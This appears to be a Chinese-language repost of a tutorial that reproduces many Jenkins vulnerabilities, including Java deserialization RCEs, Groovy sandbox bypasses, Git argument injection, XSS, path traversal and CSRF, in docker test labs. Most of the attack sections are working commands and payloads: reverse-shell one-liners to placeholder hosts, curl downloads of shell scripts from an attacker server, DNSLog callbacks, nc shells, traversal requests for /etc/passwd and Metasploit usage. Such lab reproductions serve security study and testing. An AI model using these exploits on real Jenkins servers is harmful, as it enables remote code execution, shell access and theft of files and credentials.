您好,登錄后才能下訂單哦!
這篇文章主要介紹了Jenkins漏洞的示例分析,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
Jenkins 是基于 Java 開發的開源軟件項目,主要用于 CI (持續集成)、項目管理等。
Jenkins功能包括:
持續的軟件版本發布/測試項目。
監控外部調用執行的工作。
fofa: app="Jenkins"
Jenkins
未授權遠程代碼執行漏洞, 允許攻擊者將序列化的Java SignedObject
對象傳輸給Jenkins CLI
處理,反序列化ObjectInputStream
作為Command
對象,這將繞過基于黑名單的保護機制, 導致代碼執行。
所有Jenkins主版本均受到影響(包括<=2.56版本)
所有Jenkins LTS均受到影響(包括<=2.46.1版本)
使用Vulhub
一鍵搭建漏洞測試靶場。
訪問服務器ip地址加端口,如http://ip:8080/
打開瀏覽器發現環境啟動成功如下:
漏洞復現
步驟一、生成序列化字符串
首先下載CVE-2017-1000353-1.1-SNAPSHOT-all.jar
,這是生成POC的工具。
下載地址:https://github.com/vulhub/CVE-2017-1000353
然后執行下面命令,生成字節碼文件:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
執行上述代碼后,生成jenkins_poc.ser
文件,這就是序列化字符串。
步驟二、發送數據包,執行命令
exp地址:https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
下載exploit.py
,然后使用python3執行python exploit.py http://your-ip:8080 jenkins_poc.ser
,將剛才生成的字節碼文件發送給目標:
進入docker,發現/tmp/success
成功被創建,說明命令執行漏洞利用成功:
也可以反彈bash
命令:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "/bin/bash -i > /dev/tcp/vps_ip/12345 0<&1 2>&1 "
Jenkins使用Stapler框架
開發,其允許用戶通過URL PATH
來調用一次public方法。由于這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執行一些敏感的Java方法。
Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1
使用Vulhub
一鍵搭建漏洞測試靶場。
因為此漏洞是沒有回顯的,所以選擇了curl
和直接反彈shell
進行測試。
一、自定義發送請求,測試漏洞是否存在:
http://目標ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}
頁面返回空白,響應如下:
二、利用下載文件的方法來反彈shell
1、首先創建文本內容如下,ip和端口填寫我們接收shell的機器的ip和端口
bash -i >& /dev/tcp/x.x.x.x/9999 0>&1
2、將文本放置在開啟http服務的vps上,替換POC中執行命令的部分為下載文件的命令
curl -o /tmp/1.sh http://x.x.x.x/1.txt
3、替換后的POC:
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://x.x.x.x/1.txt%22.execute()}}
4、給予下載的腳本執行權限:
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}
5、依次在瀏覽器打開上述步驟3和4的poc,然后在我們接收shell的機器上監聽之前寫的端口:
nc -lvvp 9999
6、直接bash執行我們下載的腳本
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}
7、發現已經成功獲取到了目標機shell
三、也可以使用一鍵化POC腳本利用工具:
下載地址: https://github.com/orangetw/awesome-jenkins-rce-2019
該漏洞存在于Declarative Plugin 1.3.4.1
之前的版本, Groovy Plugin 2.61.1
之前的版本以及Script Security Plugin 1.50
之前的版本。該漏洞通過將AST轉換注釋(如@Grab)應用于源代碼元素,可以在腳本編譯階段避免腳本安全沙箱保護。所以會造成具有“Overall/Read”
權限的用戶或能夠控制SCM中的Jenkinsfile
或者sandboxed Pipeline
共享庫內容的用戶可以繞過沙盒保護并在Jenkins主服務器上執行任意代碼。
Declarative Plugin < 1.3.4.1
Groovy Plugin < 2.61.1
Script Security Plugin < 1.50
下載環境和利用代碼:
git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git cd cve-2019-1003000-jenkins-rce-poc pipinstall -r requirements.txt cd sample-vuln ./run.sh
測試發現無法啟動成功,因為本地的jenkinsdata
文件夾是root權限,而jenkins的權限很小,uid等信息都是1000,所以修改jenkinsdata
的權限并刪除之前的容器再次運行腳本,即可啟動環境。
sudo chown -R 1000:1000 jenkinsdata/
然后進入到docker容器中,并沒有發現初始化密碼的文件secrets/initialAdminPassword
的存在:
使用user1/user1
進行登錄,并發現已有的job任務my-pipeline
已經被創建好
使用poc進行漏洞攻擊
python2 exploit.py --url http://目標ip:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
反彈shell:
python2 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/X.X.X.X/12345 0>&1"
?
1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI
子系統,允許遠程攻擊者通過制作的序列化Java對象執行有問題的commons-collections
。
Jenkins jenkins<= LTS 1.625.1
Jenkins jenkins<= 1.637
靶場環境: https://github.com/Medicean/VulApps/tree/master/j/jenkins/1
1
、拉取鏡像到本地并啟動
$ docker pull medicean/vulapps:j_jenkins_1 $ docker run -d -p 8080:8080 -p 50000:50000 medicean/vulapps:j_jenkins_1
其中8080為Jenkins web
管理端口,50000為Jenkins SLAVE AGENT
端口
訪問 http://IP地址:8080/
,看到Jenkins Web
管理界面即代表啟動成功
2、POC利用
$ python2 poc.py http://127.0.0.1:8080/
如果看到如下結果則表示存在該漏洞:
由于該命令執行無回顯,使用的是DNSLog
的方式來將無回顯的命令執行轉為有回顯,可能會因為網絡訪問問題造成誤漏報。
LTS(Long-TermSupport)
是CloudBeesJenkins
的一個長期支持版本。CloudBeesJenkinsCI1.650
之前版本和LTS1.642.2
之前版本的remoting模塊
中存在安全漏洞。遠程攻擊者可通過打開JRMP監聽程序利用該漏洞執行任意代碼。
Jenkins CI Jenkins 1.409.3
Jenkins CI Jenkins 1.454
Jenkins CI Jenkins 1.452
Jenkins CI Jenkins 1.451
Jenkins CI Jenkins 1.447
Jenkins CI Jenkins 1.446
首先下載ysoserial
編譯后生成二進制文件
下載地址:https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections3 "curl http://uxplno.ceye.io/ttaallee" > payload.bin
然后利用腳本發送二進制文件(實際上是十六進制的(<JENKINS REMOTING CAPACITY]>)
與其后base64的編碼構成):
poc腳本 https://github.com/foxglovesec/JavaUnserializeExploits
運行poc腳本:
python2 jenkins.py x.x.x.x 8080 payload.bin
可以看到運行POC后,ceye后臺已經有了目標主機的訪問記錄。證明該命令已經在遠程主機被執行了。
國外網站Contrast Security
于2016年2月24日在公開了Jenkins近日修復的一個可通過低權限用戶調用API服務致使的命令執行漏洞詳情。通過低權限用戶構造一個惡意的XML文檔發送至服務端接口,使服務端解析時調用API執行外部命令。
jenkins版本小于1.650(1.650版本已修復該問題)
漏洞利用腳本:
https://github.com/jpiechowka/jenkins-cve-2016-0792
漏洞利用驗證成功如下:
也可以使用如下payload
反彈目標機shell
exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')
Jenkins腳本安全插件1.50及更早版本的src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java
中存在一個沙盒繞過漏洞,它允許具有“整體/讀取”權限的攻擊者為其提供Groovy
腳本HTTP端點,可導致Jenkins主JVM上的任意代碼執行。
Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 啟用匿名讀取
Jenkins 2.152 啟用匿名讀取
Jenkins 2.153 啟用匿名讀取
Script Security Plugin 1.43
Script Security Plugin 1.48
使用一鍵化POC腳本利用工具:
下載地址: https://github.com/orangetw/awesome-jenkins-rce-2019 python2 exp.py http://x.x.x.x:8080/ "curl http://uxplno.ceye.io/`whoami`"
Git客戶端插件接受用戶指定的值作為git ls-remote
調用的參數,以驗證指定URL處是否存在Git存儲庫。這種方式允許具有Job/Configure
權限的攻擊者,以運行Jenkins進程的OS用戶的權限在Jenkins主服務器上執行任意系統命令。當以root權限運行Jenkins時,攻擊者將會通過攻擊得到root權限。
Git client Plugin <= 2.8.4
使用docker搭建測試環境
docker search jenkins docker pull jenkins/jenkins # 映射8080端口 docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins # 訪問IP:8080后需要輸入密碼 進入容器獲取密碼 docker exec -it 2192a3dc98c0 /bin/bash jenkins@2192a3dc98c0:/$ cat /var/jenkins_home/secrets/initialAdminPassword
創建一個非管理員用戶并在Configure Global Security
里給予如圖權限
下載漏洞版本插件
http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi
登錄創建的非管理用戶 創建一個流水線任務,在連接git倉庫處輸入payload
--upload-pack="`ls`"
實際上是一個比較雞肋的洞,服務器上必須要低版本插件,并且配合弱口令或者未授權才能進入后臺利用。
而且后臺有個地方能直接執行命令,在http://ip:port/script
下面有腳本命令行,屬于Jenkins正常功能,利用這個功能可以執行系統命令,配合未授權更方便。
2.32之前的Jenkins和2.19.3之前的LTS中的遠程處理模塊允許遠程攻擊者通過精心制作的序列化Java對象執行任意代碼,從而觸發對第三方服務器的LDAP查詢。
LTSRelease 2.19.3 之前的所有版本
WeeklyRelease 2.32 之前的所有版本
msf利用模塊
https://github.com/rapid7/metasploit-framework/pull/7815
漏洞復現
下載 jenkins 2.31(https://updates.jenkins-ci.org/download/war/2.31/jenkins.war)
安裝 jenkins java -jar jenkins.war
啟動 msfconsole
使用 exploit/linux/misc/jenkins_ldap_deserialize
設置 RHOST 127.0.0.1
設置PAYLOAD cmd/unix/generic
設置 CMD 'touch/tmp/wtf'
運行
msf > use exploit/linux/misc/jenkins_ldap_deserialize msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic PAYLOAD => cmd/unix/generic msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf' CMD => touch /tmp/wtf msf exploit(jenkins_ldap_deserialize) > run [*] Exploit completed, but no session was created.
利用成功后將會在tmp文件夾下創建wtf文件
Jenkins管理登陸之后,后臺”系統管理”功能,有個”腳本命令行的”功能,它的作用是執行用于管理或故障探測或診斷的任意腳本命令,利用該功能,可以執行系統命令,該功能實際上Jenkins正常的功能,由于很多管理賬號使用了弱口令,或者管理后臺存在未授權訪問,導致該功能會對Jenkins系統服務器產生比較嚴重的影響和危害。
屬于Jenkins正常的功能
找到“系統管理”——“腳本命令行”。
在腳本命令行中輸入下面的語句,即可執行相應的命令:
println "whoami".execute().text
build-metrics
該插件會生成一些基本的構建指標,它通常與Jenkins側邊欄鏈接插件一起使用。該插件提供了該報告機制,所有的用戶都可以轉到Jenkins主儀表板并根據需要提取報告。 漏洞存在build-metrics
插件中, 但是只是一個簡單的反射型XSS漏洞,該插件無法正確轉義標簽查詢參數。
360 FireLine插件,最高包括1.7.2
Bitbucket OAuth插件,最高包括0.9
Build-metrics插件 1.3及以下
部署WebLogic Plugin 最高至4.1
Dynatrace應用程序監視插件,最高包括2.1.3
Dynatrace應用程序監視插件,最高包括2.1.4
ElasticBox Jenkins Kubernetes CI / CD插件,最高至1.3
包含1.1.4及以下版本的 全局Post Script插件
Libvirt Slaves插件,最高包括1.8.5
截至 2.7.0的 Mattermost Notification插件
Sonar Gerrit插件,最高包括2.3
Zulip插件(包括1.1.0及以下)
該vulnearble
插件位于http://localhost:8080/plugin/build-metrics/
,漏洞參數為label
。
payload如下:
http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=<script>alert("CVE-2019-10475")</script>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search
Git Plugin
是使用在其中的一個版本控制插件。CloudBees Jenkins Git Plugin 3.7.0
及之前版本中的GitStatus.java
文件存在安全漏洞。攻擊者可利用該漏洞獲取節點和用戶列表。
CloudBees Jenkins Git Plugin 3.7.0及之前版本
模糊搜索
http://x.x.x.x:8080/search/?q=a http://x.x.x.x:8080/search/suggest?query=a
如果git插件小于3.7,也可以使用如下
http://x.x.x.x:8080/git/search/?q=a http://x.x.x.x:8080/git/search/suggest?query=a
CloudBees Jenkins(Hudson Labs)是美國CloudBees公司的一套基于Java開發的持續集成工具。該產品主要用于監控持續的軟件版本發布/測試項目和一些定時執行的任務。LTS是CloudBeesJenkins的一個長期支持版本。CloudBees Jenkins 2.185
及之前版本、LTS 2.176.1
及之前版本中的core/src/main/java/hudson/model/FileParameterValue.java
文件存在路徑遍歷漏洞。該漏洞源于網絡系統或產品未能正確地過濾資源或文件路徑中的特殊元素。攻擊者可利用該漏洞訪問受限目錄之外的位置。
Jenkins-Ci Jenkins LTS 2.176.2 Jenkins Jenkins 2.186
首先選擇”構建一個自由風格的軟件項目“并將其命名為test,然后使用受限制的用戶,在配置中選擇文件參數
選擇Build with Parameters
然后構建選擇上傳圖片文件。
選擇開始構建就可以將文件寫入運行有寫入權限的Jenkins的用戶的文件系統上的任何位置。
GitLab Plugin
是使用在其中的一個構建觸發器,它允許GitLab在推送代碼或創建合并請求時觸發Jenkins構建。 CloudBees Jenkins GitLab Plugin 1.5.11
及之前版本中的GitLabConnectionConfig#doTestConnection
表單驗證方法存在跨站請求偽造漏洞,該漏洞源于WEB應用未充分驗證請求是否來自可信用戶。攻擊者可利用該漏洞通過受影響客戶端向服務器發送非預期的請求。
Jenkins GitLab插件1.5.11
Jenkins 2.165
實例的攻擊示例。
需要下載插件:
https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/gitlab-plugin/1.5.11/gitlab-plugin.hpi
該實例運行此插件的漏洞版本并配置為允許匿名讀取訪問。
$ curl -s -X GET -G \ -d 'url=http://127.0.0.1:7000/?' \ -d 'clientBuilderId=autodetect' \ -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \ 'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'
插件以HTTP GET形式向遠程服務器提交的請求將類似于以下內容:
# First request from Jenkins (GET). /api/v4/user Accept: application/json PRIVATE-TOKEN: ASecretTextEntry Host: 127.0.0.1:7000 Connection: Keep-Alive # Second request from Jenkins (GET) /api/v3/user Accept: application/json PRIVATE-TOKEN: ASecretTextEntry Host: 127.0.0.1:7000 Connection: Keep-Alive
在Jenkins的Stapler Web
框架中存在任意文件讀取漏洞。惡意攻擊者可以通過發送精心構造的HTTP請求在未經授權的情況下獲取Jenkin主進程可以訪問的Jenkins文件系統中的任意文件內容。
Jenkins weekly 2.132及此前所有版本
Jenkins LTS 2.121.1及此前所有版本
可讀取Windows系統服務器中的任意文件,且在特定而條件下也可以讀取Linux系統服務器中的文件。
請求的url為/plugin/credentials/.ini
,則base為空,擴展名(ext變量)即為.ini,然后通過一系列的嘗試openURL,在此例中即最后一個情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));
,會去請求_../../../../../../../../../../../../windows/win.ini
,盡管目錄_..
并不存在,但在win下可以直接通過路徑穿越來繞過。
在沒有登陸(未授權)的情況下,只有當管理員開啟了allow anonymous read access
的時候,才能實現任意文件讀取,否則仍需登陸
Windows下payload:
GET /plugin/credentials/.ini HTTP/1.1 Host: x.x.x.x:8080 Accept: text/javascript, text/html, application/xml, text/xml, */* X-Prototype-Version: 1.7 DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Origin: http://x.x.x.x:8080 Referer: http://x.x.x.x:8080/ Accept-Encoding: gzip, deflate Accept-Language: /../../../../../../../../etc/passwd Cookie: JSESSIONID.450017e3=x6kdpnkcgllh28wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971 Connection: close
也可以利用該漏洞poc檢測工具,進行檢測以及對賬戶密碼進行解密:
https://github.com/anntsmart/CVE/blob/master/cve-2018-1999002.py
此漏洞和CVE-2019-1003005
漏洞同樣都是由Script Security
插件引起。利用方式和上一致。影響版本在1.55以下。
感謝你能夠認真閱讀完這篇文章,希望小編分享的“Jenkins漏洞的示例分析”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。